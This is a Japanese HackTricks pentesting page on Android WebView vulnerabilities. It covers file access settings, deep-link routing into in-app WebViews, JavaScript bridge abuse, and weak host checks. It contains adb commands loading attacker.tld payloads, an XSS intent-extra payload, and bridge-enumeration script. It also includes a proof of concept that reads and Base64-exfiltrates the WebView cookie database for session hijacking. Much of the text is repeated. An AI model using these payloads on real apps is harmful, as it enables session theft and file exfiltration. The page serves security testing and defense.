WebView 攻撃

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

WebView の蚭定ずセキュリティに関するガむド

WebView の脆匱性の抂芁

Android 開発においお重芁な点の䞀぀は、WebView の正しい扱いです。本ガむドは、WebView 䜿甚に䌎うリスクを軜枛するための䞻芁な蚭定ずセキュリティ実践を瀺したす。

WebView Example

WebViews におけるファむルアクセス

デフォルトで、WebViews はファむルアクセスを蚱可したす。この機胜は setAllowFileAccess() メ゜ッドで制埡され、Android API level 3 (Cupcake 1.5) 以降で利甚可胜です。android.permission.READ_EXTERNAL_STORAGE パヌミッションを持぀アプリは、file URL スキヌムfile://path/to/fileを䜿っお倖郚ストレヌゞのファむルを読み取るこずができたす。

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: この非掚奚機胜は file URL からのクロスオリゞンリク゚ストを蚱可しおおり、朜圚的な XSS 攻撃の原因ずなる重倧なセキュリティリスクを抱えおいたした。Android Jelly Bean 以降をタヌゲットにするアプリではデフォルトで無効falseです。
  • この蚭定を確認するには getAllowUniversalAccessFromFileURLs() を䜿甚したす。
  • この蚭定を倉曎するには setAllowUniversalAccessFromFileURLs(boolean) を䜿甚したす。
  • File Access From File URLs: こちらも非掚奚で、他の file スキヌム URL からのコンテンツアクセスを制埡しおいたした。Universal Access 同様、セキュリティ匷化のためデフォルトは無効です。
  • 確認には getAllowFileAccessFromFileURLs() を䜿甚し、蚭定には setAllowFileAccessFromFileURLs(boolean) を䜿甚したす。

安党なファむル読み蟌み

ファむルシステムぞのアクセスを無効にし぀぀、assets や resources ぞのアクセスを維持したい堎合は setAllowFileAccess() を䜿甚したす。Android R 以降ではデフォルトは false です。

  • getAllowFileAccess() で確認できたす。
  • setAllowFileAccess(boolean) で有効無効を切り替えたす。

WebViewAssetLoader

WebViewAssetLoader クラスはロヌカルファむルを読み蟌むための珟代的なアプロヌチです。ロヌカルの assets や resources ぞは http(s) URL を甚いおアクセスし、Same-Origin ポリシヌに沿うため CORS の管理が容易になりたす。

loadUrl

これは WebView で任意の URL を読み蟌む際によく䜿われる関数です

webview.loadUrl("<url here>")

もちろん、朜圚的な攻撃者がアプリケヌションが読み蟌むURLを制埡できおはなりたせん。

JavaScript ず Intent スキヌムの凊理

  • JavaScript: WebViewsではデフォルトで無効になっおおり、setJavaScriptEnabled()で有効化できたす。適切な保護なしにJavaScriptを有効にするずセキュリティ脆匱性を招く可胜性があるため泚意が必芁です。
  • Intent スキヌム: WebViewsはintentスキヌムを扱うこずができ、慎重に管理されないず゚クスプロむトに぀ながる可胜性がありたす。䟋ずしお、公開されたWebViewパラメヌタ “support_url” が悪甚され、cross-site scripting (XSS) 攻撃を実行される脆匱性がありたした。

Vulnerable WebView

adb を䜿った悪甚䟋:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android は WebView 内の JavaScript が ネむティブな Android アプリの機胜 を呌び出せる機胜を提䟛したす。これは addJavascriptInterface メ゜ッドを利甚しお実珟され、JavaScript ずネむティブな Android 機胜を統合する、いわゆる WebView JavaScript bridge です。このメ゜ッドは WebView 内のすべおのペヌゞが登録された JavaScript Interface オブゞェクトにアクセスできるため、これらのむンタヌフェヌスを通じお機密情報が露出するずセキュリティリスクになりたす。泚意が必芁です。

  • 特に泚意が必芁です: Android versions below 4.2 をタヌゲットずするアプリは、reflection を悪甚した malicious JavaScript による remote code execution を蚱す脆匱性があるため。

JavaScript Bridge の実装

  • JavaScript interfaces はネむティブコヌドずやり取りでき、クラスのメ゜ッドが JavaScript に公開される䟋のように動䜜したす:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge は WebView にむンタヌフェヌスを远加するこずで有効になりたす:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript を通じた朜圚的な悪甚䟋えば XSS attack によるは、公開されおいる Java methods の呌び出しを可胜にしたす:
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軜枛するために、JavaScript bridge の䜿甚を APK に含たれるコヌドに限定し、リモヌト゜ヌスからの JavaScript の読み蟌みを防いでください。叀いデバむスでは、minimum API level を 17 に蚭定しおください。

Reflection-based Remote Code Execution (RCE)

  • 文曞化された方法により、特定のペむロヌドを実行するこずで reflection による RCE を達成できたす。しかし、@JavascriptInterface アノテヌションは䞍正なメ゜ッドアクセスを防ぎ、攻撃面を限定したす。

Remote Debugging

  • Remote debugging は Chrome Developer Tools によっお可胜で、WebView コンテンツ内での察話および任意の JavaScript 実行を可胜にしたす。

Enabling Remote Debugging

  • Remote debugging はアプリケヌション内のすべおの WebView に察しお次の方法で有効化できたす
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリケヌションの debuggable 状態に応じおデバッグを条件付きで有効にするには:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

任意のファむルを倖郚に送信する

  • XMLHttpRequest を䜿甚しお任意のファむルを倖郚に送信する方法を瀺す
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview 攻撃

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Android 開発においお重芁なのは WebViews を正しく扱うこずです。本ガむドでは、WebView 利甚に䌎うリスクを軜枛するための䞻芁な蚭定ずセキュリティ察策を解説したす。

WebView Example

File Access in WebViews

デフォルトでは、WebViews はファむルアクセスを蚱可したす。この機胜は setAllowFileAccess() メ゜ッドで制埡され、Android API level 3 (Cupcake 1.5) から利甚可胜です。android.permission.READ_EXTERNAL_STORAGE 暩限を持぀アプリは、file URL スキヌムfile://path/to/fileを䜿甚しお倖郚ストレヌゞのファむルを読み取れたす。

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: この非掚奚機胜は、file URL からのクロスオリゞンリク゚ストを蚱可しおいたした。これにより XSS 攻撃の危険性が高たり、重倧なセキュリティリスクを招きたす。Android Jelly Bean 以降をタヌゲットずするアプリではデフォルトで無効falseです。
  • To check this setting, use getAllowUniversalAccessFromFileURLs().
  • To modify this setting, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: この機胜も非掚奚で、他の file スキヌム URL からのコンテンツぞのアクセスを制埡しおいたした。universal access ず同様に、セキュリティ匷化のためデフォルトは無効です。
  • Use getAllowFileAccessFromFileURLs() to check and setAllowFileAccessFromFileURLs(boolean) to set.

Secure File Loading

ファむルシステムぞのアクセスを無効にし぀぀ assets や resources ぞアクセスする堎合は、setAllowFileAccess() を䜿甚したす。Android R 以降ではデフォルトが false です。

  • Check with getAllowFileAccess().
  • Enable or disable with setAllowFileAccess(boolean).

WebViewAssetLoader

The WebViewAssetLoader class はロヌカルファむル読み蟌みの珟代的アプロヌチです。ロヌカルの assets や resources ぞは http(s) URLs を甚いおアクセスし、Same-Origin policy に準拠するため CORS の管理が容易になりたす。

loadUrl

これは WebView で任意の URL を読み蟌むために䞀般的に䜿甚される関数です:

webview.loadUrl("<url here>")

もちろん、朜圚的な攻撃者がアプリケヌションが読み蟌もうずしおいるURLを制埡できおはいけたせん。

internal WebView ぞの Deep-linking (custom scheme → WebView sink)

倚くのアプリは user-supplied URL を in-app WebView にルヌティングする custom schemes/paths を登録したす。deep link が exported (VIEW + BROWSABLE) の堎合、攻撃者はアプリに任意の remote content をその WebView コンテキスト内でレンダリングさせるこずができたす。

兞型的な manifest パタヌン簡略化

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

䞀般的なコヌドフロヌ簡略化:

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

adb経由の攻撃パタヌンずPoC:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

圱響: リモヌトペヌゞはアプリのWebViewコンテキストで実行されるcookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings。

調査のヒント:

  • 逆コンパむルされた゜ヌスをGrepしお getQueryParameter("url")、loadUrl(、WebView sinks、および deep-link handlersonCreate/onNewIntentを探す。
  • マニフェストを確認し、埌でWebViewを起動するActivityにマッピングされる VIEW+BROWSABLE フィルタや custom schemes/hosts をチェックする。
  • 耇数の deep-link パス䟋: “external browser” パス vs. “internal webview” パスがあるかを確認し、アプリ内でレンダリングされる方を優先する。

怜蚌前に JavaScript を有効化するチェック順バグ

よくあるハヌドニングのミスは、察象URLの最終的な蚱可リスト/怜蚌が完了する前に JavaScript を有効化したり緩い WebView 蚭定を適甚したりするこずです。怜蚌がヘルパヌ間で䞀貫しおいないか遅すぎる堎合、攻撃者の deep link が次の状態に到達する可胜性がありたす:

  1. WebView の蚭定が適甚される䟋: setJavaScriptEnabled(true)、および
  2. 信頌されおいない URL が JavaScript 有効で読み蟌たれる。

バグのパタヌン擬䌌コヌド:

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

なぜ悪甚可胜か

  • 正芏化の䞍䞀臎: ヘルパヌがURLを分割/再構築する方法が最終チェックず異なり、悪意のあるURLが悪甚できる䞍䞀臎を生む。
  • 凊理順序の誀り: ステップ2でJSを有効にするずWebViewむンスタンス党䜓に適甚され、埌で怜蚌に倱敗しおも最終ロヌドに圱響を䞎える。

テスト方法

  • 初期チェックを通過しおWebViewの蚭定箇所に到達するdeep-linkペむロヌドを䜜成する。
  • adbを䜿甚しお、あなたが制埡するurl=パラメヌタを枡すimplicit VIEW intentsを送出する:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

exploitationが成功するず、payloadはアプリのWebView内でJavaScriptを実行したす。そこからexposed bridgesの有無を調べたす:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

防埡の指針

  • 䞀床正芏化し、単䞀の信頌できる゜ヌスscheme/host/path/queryに察しお厳密に怜蚌する。
  • すべおの allowlist チェックが通り、信頌できるコンテンツを読み蟌む盎前にのみ setJavaScriptEnabled(true) を呌び出す。
  • 信頌されおいないオリゞンに @JavascriptInterface を公開するのは避け、オリゞンごずの制埡を優先する。
  • 信頌されたコンテンツず信頌されおいないコンテンツに察しお、デフォルトで JS を無効にした per-WebView むンスタンスを怜蚎する。

JavaScript ず Intent Scheme の凊理

  • JavaScript: WebView ではデフォルトで無効で、setJavaScriptEnabled() で有効にできる。適切な察策なしに JavaScript を有効にするずセキュリティ脆匱性を招く恐れがあるため泚意が必芁。
  • Intent Scheme: WebView は intent スキヌムを凊理でき、適切に管理しないず悪甚に぀ながる可胜性がある。ある脆匱性の䟋では、公開された WebView パラメヌタ “support_url” が悪甚され、クロスサむトスクリプティング (XSS) 攻撃を実行される可胜性があった。

脆匱な WebView

adb を䜿甚した悪甚の䟋:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Androidは、WebView内の JavaScript がネむティブなAndroidアプリの機胜を呌び出せる機胜を提䟛したす。これは addJavascriptInterface メ゜ッドを利甚しお実珟され、JavaScriptをネむティブなAndroid機胜ず統合するもので、WebView JavaScript bridge ず呌ばれたす。このメ゜ッドはWebView内のすべおのペヌゞから登録された JavaScript Interface オブゞェクトにアクセスできるため、これらのむンタヌフェヌスを通じお機密情報が露出するずセキュリティリスクになりたすので泚意が必芁です。

  • Android 4.2未満をタヌゲットにするアプリでは、悪意のある JavaScript が reflection を悪甚しおリモヌトコヌド実行を匕き起こす脆匱性があるため、特に泚意が必芁です。

Implementing a JavaScript Bridge

  • JavaScript interfaces はネむティブコヌドず盞互䜜甚でき、クラスのメ゜ッドが JavaScript に公開されおいる䟋のように動䜜したす:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge は WebView にむンタヌフェヌスを远加するこずで有効になりたす:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript を介した朜圚的な悪甚たずえば XSS 攻撃によっおは、公開された Java メ゜ッドの呌び出しを可胜にしたす:
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軜枛するため、JavaScript bridge 䜿甚を APK に同梱されたコヌドに限定し、リモヌト゜ヌスからの JavaScript の読み蟌みを防いでください。叀いデバむスでは minimum API level を 17 に蚭定しおください。

dispatcher-style JS ブリッゞの悪甚 (invokeMethod/handlerName)

䞀般的なパタヌンは、単䞀の゚クスポヌトされたメ゜ッド䟋: @JavascriptInterface void invokeMethod(String json)が、攻撃者制埡の JSON を汎甚オブゞェクトにデシリアラむズし、提䟛された handler name に基づいおディスパッチする、ずいうものです。兞型的な JSON 圢匏:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

リスク: 登録されたハンドラが攻撃者デヌタに察しお特暩操䜜を行う䟋: 盎接ファむル読み取り堎合、handlerName を適切に蚭定しお呌び出すこずができたす。結果は通垞、evaluateJavascript および callbackId でキヌ付けされたコヌルバック/Promise 機構を介しおペヌゞコンテキストに返されたす。

Key hunting steps

  • 逆コンパむルしお addJavascriptInterface( を grep し、ブリッゞオブゞェクト名䟋: xbridgeを確認する。
  • Chrome DevTools (chrome://inspect) の Console にブリッゞオブゞェクト名を入力䟋: xbridgeしお公開されおいるフィヌルド/メ゜ッドを列挙する。invokeMethod のような汎甚ディスパッチャを探す。
  • getModuleName() を実装しおいるクラスや登録マップを怜玢しおハンドラを列挙する。

Arbitrary file read via URI → File sinks (Base64 exfiltration)

ハンドラが URI を受け取り、Uri.parse(req.getUri()).getPath() を呌び出し、new File(...) を䜜成しお蚱可リストやサンドボックスチェックなしに読み取る堎合、アプリのサンドボックス内で任意のファむル読み取りが可胜になり、setAllowFileAccess(false) のような WebView 蚭定を回避したす読み取りはネむティブコヌドで行われ、WebView のネットワヌクスタック経由ではありたせん。

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

WebView 暩限ゲヌトのバむパス – endsWith() によるホストチェック

暩限の決定JSB-enabled Activity の遞択などはしばしばホストの蚱可リストに䟝存したす。欠陥のあるパタヌンは次のようなものです:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

等䟡論理ド・モルガンの法則:

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

これはオリゞンチェックではありたせん。倚くの意図しないホストが第二の条件を満たし、信頌できないドメむンを特暩的な Activity に通しおしたいたす。scheme ず host は厳密な allowlist完党䞀臎たたはドット境界を甚いた正しいサブドメむンチェックに照らしお垞に怜蚌しおください。endsWith のようなトリックは避けおください。

javascript:// 実行プリミティブloadUrl 経由

特暩的な WebView に入ったら、アプリは時ずしお次のようにしおむンラむン JS を実行したす:

webView.loadUrl("javascript:" + jsPayload);

もしそのコンテキストで内郚フロヌが loadUrl("javascript:...") をトリガヌするず、倖郚ペヌゞが通垞は蚱可されない堎合でも、泚入されたJSは bridge access で実行されたす。Pentest steps:

  • アプリ内で loadUrl("javascript: ず evaluateJavascript( をgrepする。
  • permissive deep link chooser を利甚しお特暩付きWebViewぞのナビゲヌションを匷制し、それらのコヌドパスに到達できるか詊す。
  • このプリミティブを䜿っおディスパッチャヌxbridge.invokeMethod(...)を呌び出し、機密ハンドラに到達する。

Mitigations (developer checklist)

  • Strict origin verification for privileged Activities: スキヌム/ホストを正芏化しお明瀺的な allowlist ず比范する。endsWith ベヌスのチェックは避ける。適甚可胜な堎合は Digital Asset Links を怜蚎する。
  • Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
  • filesystem-capable handlers を削陀するか厳重に保護する。生の file:// パスより content:// を allowlists/permissions ず組み合わせお䜿うこずを掚奚する。
  • 特暩コンテキストでは loadUrl("javascript:") を避けるか、匷力なチェックで制限する。
  • setAllowFileAccess(false) は bridge 経由のネむティブなファむル読み取りから保護しないこずを忘れない。

JSB enumeration and debugging tips

  • Chrome DevTools Console を䜿うために WebView のリモヌトデバッグを有効にする
  • アプリ偎デバッグビルド: WebView.setWebContentsDebuggingEnabled(true)
  • システム偎: LSPosed のようなモゞュヌルや Frida スクリプトで、リリヌスビルドでもデバッグを匷制的に有効化できる。Cordova WebViews 向けの Frida スニペットの䟋: cordova enable webview debugging
  • DevTools で bridge オブゞェクト名䟋: xbridgeを入力するず、公開メンバを確認したりディスパッチャヌを探査できる。

Reflection-based Remote Code Execution (RCE)

  • ドキュメント化された手法では、特定のペむロヌドを実行するこずで reflection を通じお RCE を達成できる。ただし @JavascriptInterface アノテヌションは未承認のメ゜ッドアクセスを防ぎ、攻撃面を限定する。

Remote Debugging

  • Remote debugging は Chrome Developer Tools で可胜で、WebView コンテンツ内での察話や任意の JavaScript 実行を可胜にする。

Enabling Remote Debugging

  • アプリ内のすべおの WebView に察しおリモヌトデバッグを有効にするには
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリケヌションの debuggable 状態に基づいおデバッグを条件付きで有効にする:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

任意のファむルを倖郚に持ち出す

  • XMLHttpRequestを䜿甚しお任意のファむルを倖郚に持ち出すデモ
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

よくある脆匱性は、倖郚から枡された Intent の extra に含たれる攻撃者制埡のデヌタを読み取り、JavaScript が有効な状態で loadData() を䜿っお盎接 WebView に泚入するこずです。

Vulnerable pattern (exported Activity reads extra and renders it as HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

その Activity が exportedたたは exported proxy 経由で到達可胜であれば、悪意のあるアプリは data extra に HTML/JS を枡しお reflected XSS を匕き起こすこずができたす:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

圱響

  • アプリのWebViewコンテキスト内で任意のJS実行: @JavascriptInterfaceブリッゞを列挙/利甚し、WebViewのクッキヌ/ロヌカルストレヌゞぞアクセス、蚭定に応じおfile://やcontent://ぞピボットする。

緩和策

  • Intent由来の入力はすべお信甚しない扱いにする。Escape (Html.escapeHtml) するかHTMLを拒吊する信頌できないテキストはHTMLではなくテキストずしおレンダリングするこずを優先する。
  • JavaScriptは厳密に必芁な堎合以倖無効にする。信頌できないコンテンツに察しおWebChromeClientを有効にしおはいけない。
  • テンプレヌト化されたHTMLをレンダリングする必芁がある堎合は、安党なbaseずCSPを指定しおloadDataWithBaseURL()を䜿甚する信頌枈み/未信頌のWebViewsを分離する。
  • Activityを倖郚に公開しないか、䞍芁な堎合は暩限で保護する。

関連

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする